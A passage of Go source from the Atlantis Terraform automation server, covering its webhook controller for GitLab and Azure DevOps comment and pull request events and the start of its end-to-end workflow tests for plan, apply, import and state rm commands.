gitlab.CommitCommentEvent: e.Logger.Debug("comments on commits are not supported, only comments on merge requests") e.respond(w, logging.Debug, http.StatusOK, "Ignoring comment on commit event") default: e.respond(w, logging.Debug, http.StatusOK, "Ignoring unsupported event") } } // HandleGitlabCommentEvent handles comment events from GitLab where Atlantis // commands can come from. It's exported to make testing easier. func (e *VCSEventsController) HandleGitlabCommentEvent(w http.ResponseWriter, event gitlab.MergeCommentEvent) { // todo: can gitlab return the pull request here too? baseRepo, headRepo, commentID, user, err := e.Parser.ParseGitlabMergeRequestCommentEvent(event) if err != nil { e.respond(w, logging.Error, http.StatusBadRequest, "Error parsing webhook: %s", err) return } resp := e.handleCommentEvent(e.Logger, baseRepo, &headRepo, nil, user, event.MergeRequest.IID, event.ObjectAttributes.Note, int64(commentID), models.Gitlab) //TODO: move this to the outer most function similar to github lvl := logging.Debug code := http.StatusOK msg := resp.body if resp.err.code != 0 { lvl = logging.Error code = resp.err.code msg = resp.err.err.Error() } e.respond(w, lvl, code, "%s", msg) } func (e *VCSEventsController) handleCommentEvent(logger logging.SimpleLogging, baseRepo models.Repo, maybeHeadRepo *models.Repo, maybePull *models.PullRequest, user models.User, pullNum int, comment string, commentID int64, vcsHost models.VCSHostType) HTTPResponse { logger = logger.WithHistory( "repo", baseRepo.FullName, "pull", pullNum, ) parseResult := e.CommentParser.Parse(comment, vcsHost) if parseResult.Ignore { truncated := comment truncateLen := 40 if len(truncated) > truncateLen { truncated = comment[:truncateLen] + "..." } logger.Debug("Ignoring non-command comment: '%s'", truncated) return HTTPResponse{ body: fmt.Sprintf("Ignoring non-command comment: %q", truncated), } } if parseResult.Command != nil { logger.Info("Handling '%s' comment", parseResult.Command.Name) } // At this point we know it's a command we're not supposed to ignore, so now // we check if this repo is allowed to run commands in the first place. if !e.RepoAllowlistChecker.IsAllowlisted(baseRepo.FullName, baseRepo.VCSHost.Hostname) { e.commentNotAllowlisted(baseRepo, pullNum) err := errors.New("repo not allowlisted") return HTTPResponse{ body: err.Error(), err: HTTPError{ err: err, code: http.StatusForbidden, isSilenced: e.SilenceAllowlistErrors, }, } } // It's a comment we're going to react to so add a reaction. if e.EmojiReaction != "" { err := e.VCSClient.ReactToComment(logger, baseRepo, pullNum, commentID, e.EmojiReaction) if err != nil { logger.Warn("Failed to react to comment: %s", err) } } // If the command isn't valid or doesn't require processing, ex. // "atlantis help" then we just comment back immediately. // We do this here rather than earlier because we need access to the pull // variable to comment back on the pull request. if parseResult.CommentResponse != "" { if err := e.VCSClient.CreateComment(logger, baseRepo, pullNum, parseResult.CommentResponse, ""); err != nil { logger.Err("Unable to comment on pull request: %s", err) } return HTTPResponse{ body: "Commenting back on pull request", } } if parseResult.Command.RepoRelDir != "" { logger.Info("Running comment command '%v' on dir '%v' for user '%v'.", parseResult.Command.Name, parseResult.Command.RepoRelDir, user.Username) } else { logger.Info("Running comment command '%v' for user '%v'.", parseResult.Command.Name, user.Username) } if !e.TestingMode { // Respond with success and then actually execute the command asynchronously. // We use a goroutine so that this function returns and the connection is // closed. go e.CommandRunner.RunCommentCommand(baseRepo, maybeHeadRepo, maybePull, user, pullNum, parseResult.Command) } else { // When testing we want to wait for everything to complete. e.CommandRunner.RunCommentCommand(baseRepo, maybeHeadRepo, maybePull, user, pullNum, parseResult.Command) } return HTTPResponse{ body: "Processing...", } } // HandleGitlabMergeRequestEvent will delete any locks associated with the pull // request if the event is a merge request closed event. It's exported to make // testing easier. func (e *VCSEventsController) HandleGitlabMergeRequestEvent(logger logging.SimpleLogging, w http.ResponseWriter, event gitlab.MergeEvent) { pull, pullEventType, baseRepo, headRepo, user, err := e.Parser.ParseGitlabMergeRequestEvent(event) if err != nil { e.respond(w, logging.Error, http.StatusBadRequest, "Error parsing webhook: %s", err) return } // Annotate logger with repo and pull/merge request number. logger = logger.With( "repo", baseRepo.FullName, "pull", strconv.Itoa(pull.Num), ) logger.Info("Processing Gitlab merge request '%s' event", pullEventType.String()) resp := e.handlePullRequestEvent(logger, baseRepo, headRepo, pull, user, pullEventType) //TODO: move this to the outer most function similar to github lvl := logging.Debug code := http.StatusOK msg := resp.body if resp.err.code != 0 { lvl = logging.Error code = resp.err.code msg = resp.err.err.Error() } e.respond(w, lvl, code, "%s", msg) } // HandleAzureDevopsPullRequestCommentedEvent handles comment events from Azure DevOps where Atlantis // commands can come from. It's exported to make testing easier. // Sometimes we may want data from the parent azuredevops.Event struct, so we handle type checking here. // Requires Resource Version 2.0 of the Pull Request Commented On webhook payload. func (e *VCSEventsController) HandleAzureDevopsPullRequestCommentedEvent(w http.ResponseWriter, event *azuredevops.Event, azuredevopsReqID string) { resource, ok := event.Resource.(*azuredevops.GitPullRequestWithComment) if !ok || event.PayloadType != azuredevops.PullRequestCommentedEvent { e.respond(w, logging.Error, http.StatusBadRequest, "Event.Resource is nil or received bad event type %v; %s", event.Resource, azuredevopsReqID) return } if resource.Comment == nil { e.respond(w, logging.Debug, http.StatusOK, "Ignoring comment event since no comment is linked to payload; %s", azuredevopsReqID) return } if resource.Comment.GetIsDeleted() { e.respond(w, logging.Debug, http.StatusOK, "Ignoring comment event since it is linked to deleting a pull request comment; %s", azuredevopsReqID) return } strippedComment := bluemonday.StrictPolicy().SanitizeBytes([]byte(*resource.Comment.Content)) if resource.PullRequest == nil { e.respond(w, logging.Debug, http.StatusOK, "Ignoring comment event since no pull request is linked to payload; %s", azuredevopsReqID) return } if isAzureDevOpsTestRepoURL(resource.PullRequest.GetRepository()) { e.respond(w, logging.Debug, http.StatusOK, "Ignoring Azure DevOps Test Event with Repo URL: %v %s", resource.PullRequest.Repository.URL, azuredevopsReqID) return } createdBy := resource.PullRequest.GetCreatedBy() user := models.User{Username: createdBy.GetUniqueName()} baseRepo, err := e.Parser.ParseAzureDevopsRepo(resource.PullRequest.GetRepository()) if err != nil { e.respond(w, logging.Error, http.StatusBadRequest, "Error parsing pull request repository field: %s; %s", err, azuredevopsReqID) return } resp := e.handleCommentEvent(e.Logger, baseRepo, nil, nil, user, resource.PullRequest.GetPullRequestID(), string(strippedComment), -1, models.AzureDevops) //TODO: move this to the outer most function similar to github lvl := logging.Debug code := http.StatusOK msg := resp.body if resp.err.code != 0 { lvl = logging.Error code = resp.err.code msg = resp.err.err.Error() } e.respond(w, lvl, code, "%s", msg) } // HandleAzureDevopsPullRequestEvent will delete any locks associated with the pull // request if the event is a pull request closed event. It's exported to make // testing easier. func (e *VCSEventsController) HandleAzureDevopsPullRequestEvent(w http.ResponseWriter, event *azuredevops.Event, azuredevopsReqID string) { prText := event.Message.GetText() ignoreEvents := []string{ "changed the reviewer list", "approved pull request", "has approved and left suggestions", "is waiting for the author", "rejected pull request", "voted on pull request", } for _, s := range ignoreEvents { if strings.Contains(prText, s) { msg := fmt.Sprintf("pull request updated event is not a supported type [%s]", s) e.respond(w, logging.Debug, http.StatusOK, "%s: %s", msg, azuredevopsReqID) return } } resource, ok := event.Resource.(*azuredevops.GitPullRequest) if !ok || event.PayloadType != azuredevops.PullRequestEvent { e.respond(w, logging.Error, http.StatusBadRequest, "Event.Resource is nil or received bad event type %v; %s", event.Resource, azuredevopsReqID) return } if isAzureDevOpsTestRepoURL(resource.GetRepository()) { e.respond(w, logging.Debug, http.StatusOK, "Ignoring Azure DevOps Test Event with Repo URL: %v %s", resource.Repository.URL, azuredevopsReqID) return } pull, pullEventType, baseRepo, headRepo, user, err := e.Parser.ParseAzureDevopsPullEvent(*event) if err != nil { e.respond(w, logging.Error, http.StatusBadRequest, "Error parsing pull data: %s %s", err, azuredevopsReqID) return } e.Logger.Info("identified event as type %q", pullEventType.String()) resp := e.handlePullRequestEvent(e.Logger, baseRepo, headRepo, pull, user, pullEventType) //TODO: move this to the outer most function similar to github lvl := logging.Debug code := http.StatusOK msg := resp.body if resp.err.code != 0 { lvl = logging.Error code = resp.err.code msg = resp.err.err.Error() } e.respond(w, lvl, code, "%s", msg) } // supportsHost returns true if h is in e.SupportedVCSHosts and false otherwise. func (e *VCSEventsController) supportsHost(h models.VCSHostType) bool { return slices.Contains(e.SupportedVCSHosts, h) } func (e *VCSEventsController) respond(w http.ResponseWriter, lvl logging.LogLevel, code int, format string, args ...any) { response := fmt.Sprintf(format, args...) e.Logger.Log(lvl, response) w.WriteHeader(code) fmt.Fprintln(w, response) } // commentNotAllowlisted comments on the pull request that the repo is not // allowlisted unless allowlist error comments are disabled. func (e *VCSEventsController) commentNotAllowlisted(baseRepo models.Repo, pullNum int) { if e.SilenceAllowlistErrors { return } errMsg := "```\nError: This repo is not allowlisted for Atlantis.\n```" if err := e.VCSClient.CreateComment(e.Logger, baseRepo, pullNum, errMsg, ""); err != nil { e.Logger.Err("unable to comment on pull request: %s", err) } } func isAzureDevOpsTestRepoURL(repository *azuredevops.GitRepository) bool { if repository == nil { return false } return repository.GetURL() == azuredevopsTestURL } ================================================ FILE: server/controllers/events/events_controller_e2e_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events_test import ( "bytes" "encoding/json" "fmt" "net/http" "net/http/httptest" "os" "os/exec" "path/filepath" "regexp" "slices" "strings" "testing" "github.com/google/go-github/v83/github" "github.com/hashicorp/go-version" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server" events_controllers "github.com/runatlantis/atlantis/server/controllers/events" "github.com/runatlantis/atlantis/server/core/boltdb" "github.com/runatlantis/atlantis/server/core/config" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/core/locking" "github.com/runatlantis/atlantis/server/core/runtime" runtimemocks "github.com/runatlantis/atlantis/server/core/runtime/mocks" "github.com/runatlantis/atlantis/server/core/runtime/policy" mock_policy "github.com/runatlantis/atlantis/server/core/runtime/policy/mocks" "github.com/runatlantis/atlantis/server/core/terraform" terraform_mocks "github.com/runatlantis/atlantis/server/core/terraform/mocks" "github.com/runatlantis/atlantis/server/core/terraform/tfclient" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/mocks" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs" vcsmocks "github.com/runatlantis/atlantis/server/events/vcs/mocks" "github.com/runatlantis/atlantis/server/events/webhooks" jobmocks "github.com/runatlantis/atlantis/server/jobs/mocks" "github.com/runatlantis/atlantis/server/logging" "github.com/runatlantis/atlantis/server/metrics/metricstest" . "github.com/runatlantis/atlantis/testing" ) // In the e2e test, we use `conftest` not `conftest$version`. // Because if depends on the version, we need to upgrade test base image before e2e fix it. const conftestCommand = "conftest" var applyLocker locking.ApplyLocker var userConfig server.UserConfig type NoopTFDownloader struct{} var mockPreWorkflowHookRunner *runtimemocks.MockPreWorkflowHookRunner var mockPostWorkflowHookRunner *runtimemocks.MockPostWorkflowHookRunner func (m *NoopTFDownloader) Install(_ string, _ string, _ *version.Version) (string, error) { return "", nil } type LocalConftestCache struct { } func (m *LocalConftestCache) Get(_ *version.Version) (string, error) { return exec.LookPath(conftestCommand) } func TestGitHubWorkflow(t *testing.T) { if testing.Short() { t.SkipNow() } // Ensure we have >= TF 0.14 locally. ensureRunning014(t) cases := []struct { Description string // RepoDir is relative to testdata/test-repos. RepoDir string // RepoConfigFile is path for atlantis.yaml RepoConfigFile string // ModifiedFiles are the list of files that have been modified in this // pull request. ModifiedFiles []string // Comments are what our mock user writes to the pull request. Comments []string // ApplyLock creates an apply lock that temporarily disables apply command ApplyLock bool // AllowCommands flag what kind of atlantis commands are available. AllowCommands []command.Name // DisableAutoplan flag disable auto plans when any pull request is opened. DisableAutoplan bool // DisablePreWorkflowHooks if set to true, pre-workflow hooks will be disabled DisablePreWorkflowHooks bool // ExpAutomerge is true if we expect Atlantis to automerge. ExpAutomerge bool // ExpAutoplan is true if we expect Atlantis to autoplan. ExpAutoplan bool // ExpParallel is true if we expect Atlantis to run parallel plans or applies. ExpParallel bool // ExpMergeable is true if we expect Atlantis to be able to merge. // If for instance policy check is failing and there are no approvals // ExpMergeable should be false ExpMergeable bool // ExpReplies is a list of files containing the expected replies that // Atlantis writes to the pull request in order. A reply from a parallel operation // will be matched using a substring check. ExpReplies [][]string // ExpAllowResponseCommentBack allow http response content with "Commenting back on pull request" ExpAllowResponseCommentBack bool // ExpParseFailedCount represents how many times test sends invalid commands ExpParseFailedCount int // ExpNoLocksToDelete whether we expect that there are no locks at the end to delete ExpNoLocksToDelete bool }{ { Description: "no comment or change", RepoDir: "simple", ModifiedFiles: []string{}, Comments: []string{}, ExpReplies: [][]string{}, ExpNoLocksToDelete: true, }, { Description: "no comment", RepoDir: "simple", ModifiedFiles: []string{"main.tf"}, Comments: []string{}, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-merge.txt"}, }, ExpAutoplan: true, }, { Description: "simple", RepoDir: "simple", ModifiedFiles: []string{"main.tf"}, Comments: []string{ "atlantis apply", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-apply.txt"}, {"exp-output-merge.txt"}, }, ExpAutoplan: true, }, { Description: "simple with plan comment", RepoDir: "simple", ModifiedFiles: []string{"main.tf"}, ExpAutoplan: true, Comments: []string{ "atlantis plan", "atlantis apply", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-autoplan.txt"}, {"exp-output-apply.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "simple with comment -var", RepoDir: "simple", ModifiedFiles: []string{"main.tf"}, ExpAutoplan: true, Comments: []string{ "atlantis plan -- -var var=overridden", "atlantis apply", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-atlantis-plan-var-overridden.txt"}, {"exp-output-apply-var.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "simple with workspaces", RepoDir: "simple", ModifiedFiles: []string{"main.tf"}, ExpAutoplan: true, Comments: []string{ "atlantis plan -- -var var=default_workspace", "atlantis plan -w new_workspace -- -var var=new_workspace", "atlantis apply -w default", "atlantis apply -w new_workspace", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-atlantis-plan.txt"}, {"exp-output-atlantis-plan-new-workspace.txt"}, {"exp-output-apply-var-default-workspace.txt"}, {"exp-output-apply-var-new-workspace.txt"}, {"exp-output-merge-workspaces.txt"}, }, }, { Description: "simple with workspaces and apply all", RepoDir: "simple", ModifiedFiles: []string{"main.tf"}, ExpAutoplan: true, Comments: []string{ "atlantis plan -- -var var=default_workspace", "atlantis plan -w new_workspace -- -var var=new_workspace", "atlantis apply", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-atlantis-plan.txt"}, {"exp-output-atlantis-plan-new-workspace.txt"}, {"exp-output-apply-var-all.txt"}, {"exp-output-merge-workspaces.txt"}, }, }, { Description: "simple with allow commands", RepoDir: "simple", AllowCommands: []command.Name{command.Plan, command.Apply}, Comments: []string{ "atlantis import ADDRESS ID", }, ExpReplies: [][]string{ {"exp-output-allow-command-unknown-import.txt"}, }, ExpAllowResponseCommentBack: true, ExpParseFailedCount: 1, ExpNoLocksToDelete: true, }, { Description: "simple with atlantis.yaml", RepoDir: "simple-yaml", ModifiedFiles: []string{"main.tf"}, ExpAutoplan: true, Comments: []string{ "atlantis apply -w staging", "atlantis apply -w default", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-apply-staging.txt"}, {"exp-output-apply-default.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "simple with atlantis.yaml - autoplan disabled", RepoDir: "simple-yaml", ModifiedFiles: []string{"main.tf"}, DisableAutoplan: true, DisablePreWorkflowHooks: true, ExpAutoplan: false, Comments: []string{ "atlantis plan -w staging", "atlantis plan -w default", "atlantis apply -w staging", }, ExpReplies: [][]string{ {"exp-output-plan-staging.txt"}, {"exp-output-plan-default.txt"}, {"exp-output-apply-staging.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "simple with atlantis.yaml and apply all", RepoDir: "simple-yaml", ModifiedFiles: []string{"main.tf"}, ExpAutoplan: true, Comments: []string{ "atlantis apply", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-apply-all.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "custom repo config file", RepoDir: "repo-config-file", RepoConfigFile: "infrastructure/custom-name-atlantis.yaml", ModifiedFiles: []string{ "infrastructure/staging/main.tf", "infrastructure/production/main.tf", }, ExpAutoplan: true, Comments: []string{ "atlantis apply", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-apply.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "modules staging only", RepoDir: "modules", ModifiedFiles: []string{"staging/main.tf"}, ExpAutoplan: true, Comments: []string{ "atlantis apply -d staging", }, ExpReplies: [][]string{ {"exp-output-autoplan-only-staging.txt"}, {"exp-output-apply-staging.txt"}, {"exp-output-merge-only-staging.txt"}, }, }, { Description: "modules staging only - autoplan disabled", RepoDir: "modules", ModifiedFiles: []string{"staging/main.tf"}, DisableAutoplan: true, DisablePreWorkflowHooks: true, ExpAutoplan: false, Comments: []string{ "atlantis plan -d staging", "atlantis apply -d staging", }, ExpReplies: [][]string{ {"exp-output-plan-staging.txt"}, {"exp-output-apply-staging.txt"}, {"exp-output-merge-only-staging.txt"}, }, }, { Description: "modules modules only", RepoDir: "modules", ModifiedFiles: []string{"modules/null/main.tf"}, ExpAutoplan: false, Comments: []string{ "atlantis plan -d staging", "atlantis plan -d production", "atlantis apply -d staging", "atlantis apply -d production", }, ExpReplies: [][]string{ {"exp-output-plan-staging.txt"}, {"exp-output-plan-production.txt"}, {"exp-output-apply-staging.txt"}, {"exp-output-apply-production.txt"}, {"exp-output-merge-all-dirs.txt"}, }, }, { Description: "modules-yaml", RepoDir: "modules-yaml", ModifiedFiles: []string{"modules/null/main.tf"}, ExpAutoplan: true, Comments: []string{ "atlantis apply -d staging", "atlantis apply -d production", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-apply-staging.txt"}, {"exp-output-apply-production.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "tfvars-yaml", RepoDir: "tfvars-yaml", ModifiedFiles: []string{"main.tf"}, ExpAutoplan: true, Comments: []string{ "atlantis apply -p staging", "atlantis apply -p default", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-apply-staging.txt"}, {"exp-output-apply-default.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "tfvars no autoplan", RepoDir: "tfvars-yaml-no-autoplan", ModifiedFiles: []string{"main.tf"}, ExpAutoplan: false, Comments: []string{ "atlantis plan -p staging", "atlantis plan -p default", "atlantis apply -p staging", "atlantis apply -p default", }, ExpReplies: [][]string{ {"exp-output-plan-staging.txt"}, {"exp-output-plan-default.txt"}, {"exp-output-apply-staging.txt"}, {"exp-output-apply-default.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "automerge", RepoDir: "automerge", ExpAutomerge: true, ExpAutoplan: true, ModifiedFiles: []string{"dir1/main.tf", "dir2/main.tf"}, Comments: []string{ "atlantis apply -d dir1", "atlantis apply -d dir2", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-apply-dir1.txt"}, {"exp-output-apply-dir2.txt"}, {"exp-output-automerge.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "server-side cfg", RepoDir: "server-side-cfg", ExpAutomerge: false, ExpAutoplan: true, ModifiedFiles: []string{"main.tf"}, Comments: []string{ "atlantis apply -w staging", "atlantis apply -w default", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-apply-staging-workspace.txt"}, {"exp-output-apply-default-workspace.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "workspaces parallel with atlantis.yaml", RepoDir: "workspace-parallel-yaml", ModifiedFiles: []string{"production/main.tf", "staging/main.tf"}, ExpAutoplan: true, ExpParallel: true, Comments: []string{ "atlantis apply", }, ExpReplies: [][]string{ {"exp-output-autoplan-staging.txt", "exp-output-autoplan-production.txt"}, {"exp-output-apply-all-staging.txt", "exp-output-apply-all-production.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "global apply lock disables apply commands", RepoDir: "simple-yaml", ModifiedFiles: []string{"main.tf"}, ApplyLock: true, ExpAutoplan: true, Comments: []string{ "atlantis apply", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-apply-locked.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "omitting apply from allow commands always takes precedence", RepoDir: "simple-yaml", ModifiedFiles: []string{"main.tf"}, AllowCommands: []command.Name{command.Plan}, ApplyLock: false, ExpAutoplan: true, Comments: []string{ "atlantis apply", }, ExpParseFailedCount: 1, ExpAllowResponseCommentBack: true, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, // Disabling apply is implementing by omitting it from the apply list // See: https://github.com/runatlantis/atlantis/pull/2877 {"exp-output-allow-command-unknown-apply.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "import single project", RepoDir: "import-single-project", ModifiedFiles: []string{"main.tf"}, ExpAutoplan: true, Comments: []string{ "atlantis import random_id.dummy1 AA", "atlantis apply", "atlantis import random_id.dummy2 BB", "atlantis plan", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-import-dummy1.txt"}, {"exp-output-apply-no-projects.txt"}, {"exp-output-import-dummy2.txt"}, {"exp-output-plan-again.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "import workspace", RepoDir: "import-workspace", Comments: []string{ "atlantis import -d dir1 -w ops 'random_id.dummy1[0]' AA", "atlantis import -p dir1-ops 'random_id.dummy2[0]' BB", "atlantis plan -p dir1-ops", }, ExpReplies: [][]string{ {"exp-output-import-dir1-ops-dummy1.txt"}, {"exp-output-import-dir1-ops-dummy2.txt"}, {"exp-output-plan.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "import single project with -var", RepoDir: "import-single-project-var", ModifiedFiles: []string{"main.tf"}, ExpAutoplan: true, Comments: []string{ "atlantis import 'random_id.for_each[\"overridden\"]' AA -- -var var=overridden", "atlantis import random_id.count[0] BB", "atlantis plan -- -var var=overridden", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-import-foreach.txt"}, {"exp-output-import-count.txt"}, {"exp-output-plan-again.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "import multiple project", RepoDir: "import-multiple-project", ModifiedFiles: []string{"dir1/main.tf", "dir2/main.tf"}, ExpAutoplan: true, Comments: []string{ "atlantis import random_id.dummy1 AA", "atlantis import -d dir1 random_id.dummy1 AA", "atlantis plan", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-import-multiple-projects.txt"}, {"exp-output-import-dummy1.txt"}, {"exp-output-plan-again.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "state rm single project", RepoDir: "state-rm-single-project", ModifiedFiles: []string{"main.tf"}, ExpAutoplan: true, Comments: []string{ "atlantis import random_id.simple AA", "atlantis import 'random_id.for_each[\"overridden\"]' BB -- -var var=overridden", "atlantis import random_id.count[0] BB", "atlantis plan -- -var var=overridden", "atlantis state rm 'random_id.for_each[\"overridden\"]' -- -lock=false", "atlantis state rm random_id.count[0] random_id.simple", "atlantis plan -- -var var=overridden", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-import-simple.txt"}, {"exp-output-import-foreach.txt"}, {"exp-output-import-count.txt"}, {"exp-output-plan.txt"}, {"exp-output-state-rm-foreach.txt"}, {"exp-output-state-rm-multiple.txt"}, {"exp-output-plan-again.txt"}, {"exp-output-merged.txt"}, }, }, { Description: "state rm workspace", RepoDir: "state-rm-workspace", Comments: []string{ "atlantis import -p dir1-ops 'random_id.dummy1[0]' AA", "atlantis plan -p dir1-ops", "atlantis state rm -p dir1-ops 'random_id.dummy1[0]'", "atlantis plan -p dir1-ops", }, ExpReplies: [][]string{ {"exp-output-import-dummy1.txt"}, {"exp-output-plan.txt"}, {"exp-output-state-rm-dummy1.txt"}, {"exp-output-plan-again.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "state rm multiple project", RepoDir: "state-rm-multiple-project", ModifiedFiles: []string{"dir1/main.tf", "dir2/main.tf"}, ExpAutoplan: true, Comments: []string{ "atlantis import -d dir1 random_id.dummy AA", "atlantis import -d dir2 random_id.dummy BB", "atlantis plan", "atlantis state rm random_id.dummy", "atlantis plan", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-import-dummy1.txt"}, {"exp-output-import-dummy2.txt"}, {"exp-output-plan.txt"}, {"exp-output-state-rm-multiple-projects.txt"}, {"exp-output-plan-again.txt"}, {"exp-output-merged.txt"}, }, }, } for _, c := range cases { t.Run(c.Description, func(t *testing.T) { RegisterMockTestingT(t) // reset userConfig userConfig = server.UserConfig{} opt := setupOption{ repoConfigFile: c.RepoConfigFile, allowCommands: c.AllowCommands, disableAutoplan: c.DisableAutoplan, disablePreWorkflowHooks: c.DisablePreWorkflowHooks, } ctrl, vcsClient, githubGetter, atlantisWorkspace := setupE2E(t, c.RepoDir, opt) // Set the repo to be cloned through the testing backdoor. repoDir, headSHA := initializeRepo(t, c.RepoDir) atlantisWorkspace.TestingOverrideHeadCloneURL = fmt.Sprintf("file://%s", repoDir) // Setup test dependencies. w := httptest.NewRecorder() When(githubGetter.GetPullRequest( Any[logging.SimpleLogging](), Any[models.Repo](), Any[int]())).ThenReturn(GitHubPullRequestParsed(headSHA), nil) When(vcsClient.GetModifiedFiles( Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(c.ModifiedFiles, nil) // First, send the open pull request event which triggers autoplan. pullOpenedReq := GitHubPullRequestOpenedEvent(t, headSHA) ctrl.Post(w, pullOpenedReq) ResponseContains(t, w, 200, "Processing...") // Create global apply lock if required if c.ApplyLock { _, _ = applyLocker.LockApply() } // Now send any other comments. for _, comment := range c.Comments { commentReq := GitHubCommentEvent(t, comment) w = httptest.NewRecorder() ctrl.Post(w, commentReq) if c.ExpAllowResponseCommentBack { ResponseContains(t, w, 200, "Commenting back on pull request") } else { ResponseContains(t, w, 200, "Processing...") } } // Send the "pull closed" event which would be triggered by the // automerge or a manual merge. pullClosedReq := GitHubPullRequestClosedEvent(t) w = httptest.NewRecorder() ctrl.Post(w, pullClosedReq) ResponseContains(t, w, 200, "Pull request cleaned successfully") expNumHooks := len(c.Comments) - c.ExpParseFailedCount // if auto plan is disabled, hooks will not be called on pull request opened event if !c.DisableAutoplan { expNumHooks++ } // Let's verify the pre-workflow hook was called for each comment including the pull request opened event if !c.DisablePreWorkflowHooks { mockPreWorkflowHookRunner.VerifyWasCalled(Times(expNumHooks)).Run(Any[models.WorkflowHookCommandContext](), Eq("some dummy command"), Any[string](), Any[string](), Any[string]()) } // Let's verify the post-workflow hook was called for each comment including the pull request opened event mockPostWorkflowHookRunner.VerifyWasCalled(Times(expNumHooks)).Run(Any[models.WorkflowHookCommandContext](), Eq("some post dummy command"), Any[string](), Any[string](), Any[string]()) // Now we're ready to verify Atlantis made all the comments back (or // replies) that we expect. We expect each plan to have 1 comment, // and apply have 1 for each comment expNumReplies := len(c.Comments) // If there are locks to delete at the end, that will take a comment if !c.ExpNoLocksToDelete { expNumReplies++ } if c.ExpAutoplan { expNumReplies++ } if c.ExpAutomerge { expNumReplies++ } _, _, _, actReplies, _ := vcsClient.VerifyWasCalled(Times(expNumReplies)).CreateComment( Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()).GetAllCapturedArguments() Assert(t, len(c.ExpReplies) == len(actReplies), "missing expected replies, got %d but expected %d", len(actReplies), len(c.ExpReplies)) for i, expReply := range c.ExpReplies { assertCommentEquals(t, expReply, actReplies[i], c.RepoDir, c.ExpParallel) } if c.ExpAutomerge { // Verify that the merge API call was made. vcsClient.VerifyWasCalledOnce().MergePull(Any[logging.SimpleLogging](), Any[models.PullRequest](), Any[models.PullRequestOptions]()) } else { vcsClient.VerifyWasCalled(Never()).MergePull(Any[logging.SimpleLogging](), Any[models.PullRequest](), Any[models.PullRequestOptions]()) } }) } } func TestSimpleWorkflow_terraformLockFile(t *testing.T) { if testing.Short() { t.SkipNow() } // Ensure we have >= TF 0.14 locally. ensureRunning014(t) cases := []struct { Description string // RepoDir is relative to testdata/test-repos. RepoDir string // ModifiedFiles are the list of files that have been modified in this // pull request. ModifiedFiles []string // ExpAutoplan is true if we expect Atlantis to autoplan. ExpAutoplan bool // Comments are what our mock user writes to the pull request. Comments []string // ExpReplies is a list of files containing the expected replies that // Atlantis writes to the pull request in order. A reply from a parallel operation // will be matched using a substring check. ExpReplies [][]string // LockFileTracked deterims if the `.terraform.lock.hcl` file is tracked in git // if this is true we dont expect the lockfile to be modified by terraform init // if false we expect the lock file to be updated LockFileTracked bool }{ { Description: "simple with plan comment lockfile staged", RepoDir: "simple-with-lockfile", ModifiedFiles: []string{"main.tf"}, ExpAutoplan: true, Comments: []string{ "atlantis plan", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-plan.txt"}, }, LockFileTracked: true, }, { Description: "simple with plan comment lockfile not staged", RepoDir: "simple-with-lockfile", ModifiedFiles: []string{"main.tf"}, Comments: []string{ "atlantis plan", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-plan.txt"}, }, LockFileTracked: false, }, { Description: "Modified .terraform.lock.hcl triggers autoplan ", RepoDir: "simple-with-lockfile", ModifiedFiles: []string{".terraform.lock.hcl"}, ExpAutoplan: true, Comments: []string{ "atlantis plan", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-plan.txt"}, }, LockFileTracked: true, }, } for _, c := range cases { t.Run(c.Description, func(t *testing.T) { RegisterMockTestingT(t) // reset 